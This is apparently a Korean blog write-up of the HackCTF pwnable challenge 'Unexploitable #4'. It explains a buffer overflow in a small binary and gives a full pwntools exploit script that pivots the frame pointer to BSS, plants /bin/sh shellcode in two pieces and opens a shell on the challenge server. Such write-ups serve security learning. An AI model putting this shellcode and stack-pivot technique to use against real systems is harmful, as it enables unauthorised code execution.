HackCTF - Unexploitable #4

2021. 10. 15. 15:49Pwnable

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s[16]; // [rsp+0h] [rbp-10h] BYREF

  ((void (__fastcall *)(__int64, char **, char **))init_)(a1, a2, a3);
  fgets(s, 0x2C, stdin);
  return 0LL;
}

다 풀려있었기에 shellcode를 의도한 문제라고 합리적의심을 할 수 있었다.

처음에 구상은 아래와 같이 했다

  1. SFP를 BSS로 조작해서 shellcode 2번에 나누어서 삽입
  2. shellcode가 있는 주소를 ret 해서 익스 진행

그런데 위와 같이 하다보니 레지스터가 꼬이는 상황이 발생했고, 적절하게 sub rsp, 0x20 을 해줘서 익스가 가능했다.

익스 코드는 아래와 같다.


#r = process("./Unexploitable_4")
r = remote("ctf.j0n9hyun.xyz", 3039)
e = ELF("./Unexploitable_4")
l = e.libc
context.log_level = "debug"
main_add = 0x00000000004006DB #after_init_main
bss_add = e.bss()+0x800 #0x601840

log.info("main_add = " + hex(main_add))
log.info("bss_add = " + hex(bss_add))


sub_rsp_0x20 = "\x48\x81\xec\x20\x00\x00\x00" #sub_rsp_0x20
shell64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" #shellcode

shellcode = sub_rsp_0x20 + shell64

shellcode1 = shellcode[:8]
shellcode2 = shellcode[8:]

#set sfp
pay = ""
pay += "A"*0x10
pay += p64(bss_add)
pay += p64(main_add)
r.sendline(pay)

#shellcode1 --> bss
pay = "A"*0x10
pay += p64(bss_add+0x28)
pay += p64(main_add)
pay += shellcode1
print(pay)
r.sendline(pay)

#shellcode2 --> bss
pay = ""
pay += shellcode2
pay = pay.ljust(0x18, "\x90")
pay += p64(bss_add+0x10)
r.sendline(pay)

r.interactive()

 

'Pwnable' 카테고리의 다른 글

HackCTF - 훈폰정음  (0) 2021.12.05
pwnable.kr - echo1  (0) 2021.10.21
dreamhack.io - iofile_aw  (0) 2021.10.06
pwnable.xyz - SUS  (0) 2021.09.30
pwnable.xyz - TLSv00  (0) 2021.09.29